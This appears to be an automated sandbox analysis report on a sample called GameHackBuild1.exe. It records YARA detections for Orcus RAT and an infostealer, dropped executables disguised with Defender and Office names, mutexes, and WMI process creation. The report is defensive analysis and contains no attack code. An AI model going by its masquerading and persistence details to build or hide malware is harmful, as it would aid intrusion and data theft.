Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen

Yara detected Orcus RAT

Source: Yara match	File source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.MpDefenderProtector.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1286933996.0000000000242000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GameHackBuild1.exe.bin.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MpDefenderCoreProtion.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, type: DROPPED

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A0718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00A0718C

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\security\database\SSblKNNQege.exe
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\security\database\f2aefc5695405c
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\Cursors\OfficeClickToRun.exe
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	File created: C:\Windows\Cursors\e6c9b481da804f
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\RuntimeBroker.exe
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\SoftwareDistribution\Download\9dbde960dbff0b004ef17a0616c3a8ef\9e8d7a4ca61bd9
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\L2Schemas\SSblKNNQege.exe
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	File created: C:\Windows\L2Schemas\f2aefc5695405c

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0857B	0_2_00A0857B
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A16646	0_2_00A16646
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A170BF	0_2_00A170BF
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2D00E	0_2_00A2D00E
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0407E	0_2_00A0407E
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A31194	0_2_00A31194
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0E2A0	0_2_00A0E2A0
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A03281	0_2_00A03281
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A202F6	0_2_00A202F6
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A027E8	0_2_00A027E8
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A137C1	0_2_00A137C1
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2473A	0_2_00A2473A
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2070E	0_2_00A2070E
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0E8A0	0_2_00A0E8A0
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0F968	0_2_00A0F968
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A24969	0_2_00A24969
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A13A3C	0_2_00A13A3C
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A16A7B	0_2_00A16A7B
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A2CB60	0_2_00A2CB60
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A20B43	0_2_00A20B43
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A15C77	0_2_00A15C77
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A1FDFA	0_2_00A1FDFA
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0ED14	0_2_00A0ED14
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A13D6D	0_2_00A13D6D
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0BE13	0_2_00A0BE13
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A0DE6C	0_2_00A0DE6C
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A05F3C	0_2_00A05F3C
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: 0_2_00A20F78	0_2_00A20F78
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Code function: 7_2_027D87F0	7_2_027D87F0
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00ED857B	8_2_00ED857B
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EE70BF	8_2_00EE70BF
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00ED407E	8_2_00ED407E
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EFD00E	8_2_00EFD00E
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00F01194	8_2_00F01194
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF02F6	8_2_00EF02F6
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDE2A0	8_2_00EDE2A0
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00ED3281	8_2_00ED3281
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EE6646	8_2_00EE6646
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00ED27E8	8_2_00ED27E8
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EE37C1	8_2_00EE37C1
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF473A	8_2_00EF473A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF070E	8_2_00EF070E
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDE8A0	8_2_00EDE8A0
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDF968	8_2_00EDF968
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF4969	8_2_00EF4969
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EE6A7B	8_2_00EE6A7B
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EE3A3C	8_2_00EE3A3C
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EFCB60	8_2_00EFCB60
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF0B43	8_2_00EF0B43
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EE5C77	8_2_00EE5C77
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EEFDFA	8_2_00EEFDFA
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EE3D6D	8_2_00EE3D6D
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDED14	8_2_00EDED14
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDDE6C	8_2_00EDDE6C
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EDBE13	8_2_00EDBE13
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00EF0F78	8_2_00EF0F78
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: 8_2_00ED5F3C	8_2_00ED5F3C
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014C1A1	9_3_0014C1A1
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014BF1A	9_3_0014BF1A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014BF1A	9_3_0014BF1A
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Code function: 9_3_0014BF1A	9_3_0014BF1A
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Code function: 13_2_017D87F0	13_2_017D87F0
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Code function: 17_2_015787F0	17_2_015787F0

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: String function: 00A1E28C appears 35 times
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: String function: 00A1ED00 appears 31 times
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Code function: String function: 00A1E360 appears 52 times
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: String function: 00EEE360 appears 52 times
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: String function: 00EEED00 appears 31 times
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Code function: String function: 00EEE28C appears 35 times

Source: containerRuntime.exe.8.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: PxMOoBdB.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: WmQvmhxk.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: mOMkzqHG.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: BpJZMyRc.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: jdhUscxN.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: QLuoYXmy.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: wowiEjmi.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: ErvIhhWY.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: syFrxmlp.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: brpMezGb.log.23.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSblKNNQege.exe.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: RuntimeBroker.exe.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSblKNNQege.exe0.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSblKNNQege.exe1.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSblKNNQege.exe2.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSblKNNQege.exe3.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSblKNNQege.exe4.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SSblKNNQege.exe5.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: RuntimeBroker.exe0.26.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs GameHackBuild1.exe.bin.exe
Source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamej% vs GameHackBuild1.exe.bin.exe
Source: GameHackBuild1.exe.bin.exe, 00000000.00000003.1266289893.0000000006F0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs GameHackBuild1.exe.bin.exe

Source: GameHackBuild1.exe.bin.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack, type: UNPACKEDPE	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 7.0.MpDefenderProtector.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: 7.0.MpDefenderProtector.exe.240000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: 13.2.MpDefenderCoreProtion.exe.46090d0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: 00000007.00000000.1286933996.0000000000242000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: Process Memory Space: GameHackBuild1.exe.bin.exe PID: 7292, type: MEMORYSTR	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: Process Memory Space: MpDefenderCoreProtion.exe PID: 7932, type: MEMORYSTR	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, type: DROPPED	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, type: DROPPED	Matched rule: RAT_Orcus date = 2017/01, filetype = memory, author = J from THL <j@techhelplist.com> with thx to MalwareHunterTeam, version = RAT, reference = https://virustotal.com/en/file/0ef747363828342c184303f2d6fbead054200e9c223e5cfc4777cda03006e317/analysis/
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers

Source: runtimesvc.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.001953125
Source: SSblKNNQege.exe.23.dr	Static PE information: Section: .reloc ZLIB complexity 1.001953125
Source: SSblKNNQege.exe0.23.dr	Static PE information: Section: .reloc ZLIB complexity 1.001953125
Source: SSblKNNQege.exe1.23.dr	Static PE information: Section: .reloc ZLIB complexity 1.001953125
Source: SSblKNNQege.exe2.23.dr	Static PE information: Section: .reloc ZLIB complexity 1.001953125
Source: OfficeClickToRun.exe.23.dr	Static PE information: Section: .reloc ZLIB complexity 1.001953125

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@62/65@1/2

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A06EC9 GetLastError,FormatMessageW,

0_2_00A06EC9

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Code function: 0_2_00A19E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00A19E1C

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe

File created: C:\Program Files (x86)\msecache\OfficeKMS\win8\SSblKNNQege.exe

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

File created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor

Jump to behavior

Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\sudo_06kkh814g4vz7sfklrh1emcow75dz383
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:120:WilError_03
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\de7a0557f40c2628828635c8b21d0fdfc2f95fd1
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-KJuu1JY0vqv02KLL4nsh
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8376:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe

File created: C:\Users\user\AppData\Local\Temp\tv1xqdyv

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\DaJttDh54LCmoatNZvevDoWyEmexKWgun1WAXP2cdZM0egnWJQQpZtVxW.bat" "

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Command line argument: sfxname	0_2_00A1D5D4
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Command line argument: sfxstime	0_2_00A1D5D4
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Command line argument: STARTDLG	0_2_00A1D5D4
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Command line argument: sfxname	8_2_00EED5D4
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Command line argument: sfxstime	8_2_00EED5D4
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Command line argument: STARTDLG	8_2_00EED5D4

Source: GameHackBuild1.exe.bin.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
